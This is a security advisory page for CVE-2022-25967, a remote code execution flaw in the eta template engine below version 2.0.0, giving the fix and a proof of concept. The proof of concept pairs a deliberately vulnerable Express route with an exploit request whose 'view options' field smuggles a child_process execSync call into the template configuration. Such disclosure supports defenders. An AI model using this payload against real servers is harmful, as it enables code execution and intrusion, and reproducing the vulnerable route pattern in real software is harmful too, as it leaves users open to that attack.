Remote Code Execution (RCE) Affecting eta package, versions <2.0.0
Snyk CVSS
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-ETA-2936803
- published 29 Jan 2023
- disclosed 29 Jun 2022
- credit Rayhan Ahmed Niloy
Introduced: 29 Jun 2022
CVE-2022-25967 Open this link in a new tabHow to fix?
Upgrade eta
to version 2.0.0 or higher.
Overview
eta is a Lightweight, fast, and powerful embedded JS template engine
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by overwriting template engine configuration variables with view options
received from The Express render API.
Note: This is exploitable only for users who are rendering templates with user-defined data.
PoC
const express = require('express')
const app = express()
const eta = require('eta');
app.use(express.json());
app.engine('eta', eta.renderFile);
app.set('view engine', 'eta');
app.set('views', './views');
app.post('/user/update', function (req, res) {
const userConfig = req.body;
res.render('index.eta', {settings: userConfig});
})
app.listen(8001, function () {
console.log('listening for requests on http://localhost:8001')
})
Exploit request:
POST /user/update HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 219
{
"view options": {
"varName": "x=process.mainModule.require('child_process').execSync('touch /tmp/test.txt')",
"include" : false,
"includeFile": false,
"useWith": true
}
}